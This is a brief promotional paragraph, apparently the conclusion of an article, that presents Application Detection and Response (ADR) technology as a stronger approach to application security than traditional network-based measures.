As cyber threats continue to evolve, traditional network-based AppSec measures are no longer sufficient to protect critical applications and data. The ADR technology offers a reliable, intelligent, and proactive approach to application security. By understanding the nature of modern attacks and leveraging advanced ADR solutions, organizations can significantly strengthen their defenses, minimize risks, and stay ahead of emerging threats.